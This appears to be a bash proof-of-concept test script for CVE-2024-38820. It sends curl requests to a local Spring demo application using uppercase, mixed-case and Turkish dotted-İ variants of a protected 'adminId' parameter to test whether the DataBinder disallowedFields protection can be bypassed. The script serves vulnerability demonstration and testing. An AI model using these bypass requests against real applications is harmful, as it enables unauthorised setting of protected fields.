#!/bin/bash

# CVE-2024-38820 Test Script
# This script demonstrates the locale-dependent case conversion vulnerability in Spring Framework

echo "=========================================="
echo "CVE-2024-38820 Proof of Concept Test"
echo "=========================================="
echo ""

# Check if the application is running
APP_URL="http://localhost:8081"

echo "🔍 Checking if application is running at $APP_URL..."
if ! curl -s "$APP_URL/test" > /dev/null; then
    echo "❌ Application is not running. Please start it first with: mvn spring-boot:run"
    echo "   Then run this test script again."
    exit 1
fi

echo "✅ Application is running!"
echo ""

# Test 1: Normal case (should be blocked)
echo "📋 Test 1: Normal field name (should be BLOCKED)"
echo "Request: GET /user?username=test&adminId=999"
RESPONSE1=$(curl -s "$APP_URL/user?username=test&adminId=999")
echo "Response: $RESPONSE1"
echo ""

# Test 2: Uppercase field name (may bypass in Turkish locale)
echo "📋 Test 2: Uppercase field name (may BYPASS)"
echo "Request: GET /user?username=test&ADMINID=999"
RESPONSE2=$(curl -s "$APP_URL/user?username=test&ADMINID=999")
echo "Response: $RESPONSE2"
echo ""

# Test 3: Mixed case (may bypass)
echo "📋 Test 3: Mixed case field name (may BYPASS)"
echo "Request: GET /user?username=test&AdminId=999"
RESPONSE3=$(curl -s "$APP_URL/user?username=test&AdminId=999")
echo "Response: $RESPONSE3"
echo ""

# Test 4: Turkish character İ (may bypass)
echo "📋 Test 4: Turkish İ character (may BYPASS)"
echo "Request: GET /user?username=test&ADMİNID=999"
RESPONSE4=$(curl -s "$APP_URL/user?username=test&ADMİNID=999")
echo "Response: $RESPONSE4"
echo ""

# Show locale information
echo "📋 Test 5: Locale information"
echo "Request: GET /test"
TEST5_RESPONSE=$(curl -s "http://localhost:8081/test")
echo "$TEST5_RESPONSE"

echo ""
echo "📋 Test 6: Direct vulnerability demonstration"
echo "Request: GET /vulnerability-demo?testField=ADMINID"
TEST6_RESPONSE=$(curl -s "http://localhost:8081/vulnerability-demo?testField=ADMINID")
echo "$TEST6_RESPONSE"
echo ""

# Summary
echo "=========================================="
echo "🎯 VULNERABILITY ANALYSIS:"
echo "=========================================="

if [[ "$RESPONSE1" == *"adminId bypassed"* ]]; then
    echo "❌ Test 1 FAILED: Normal case should be blocked but was bypassed!"
else
    echo "✅ Test 1 PASSED: Normal case correctly blocked"
fi

if [[ "$RESPONSE2" == *"adminId bypassed"* ]]; then
    echo "🚨 Test 2 VULNERABILITY: Uppercase bypass SUCCESSFUL!"
else
    echo "✅ Test 2 PROTECTED: Uppercase case blocked"
fi

if [[ "$RESPONSE3" == *"adminId bypassed"* ]]; then
    echo "🚨 Test 3 VULNERABILITY: Mixed case bypass SUCCESSFUL!"
else
    echo "✅ Test 3 PROTECTED: Mixed case blocked"
fi

if [[ "$RESPONSE4" == *"adminId bypassed"* ]]; then
    echo "🚨 Test 4 VULNERABILITY: Turkish İ bypass SUCCESSFUL!"
else
    echo "✅ Test 4 PROTECTED: Turkish İ blocked"
fi

echo ""
echo "💡 To see detailed locale conversion information, visit: $APP_URL/test"
echo ""
echo "🔧 To change locale settings:"
echo "   1. Edit src/main/resources/application.properties"
echo "   2. Set different locale values (tr_TR, en_US, etc.)"
echo "   3. Restart the application"
echo ""
echo "📚 CVE-2024-38820 Summary:"
echo "   - Affects Spring Framework's DataBinder disallowedFields protection"
echo "   - String.toLowerCase() behavior varies by locale"
echo "   - In Turkish locale, 'I' becomes 'ı' (dotless i) instead of 'i'"
echo "   - This can bypass field protection mechanisms"
echo "=========================================="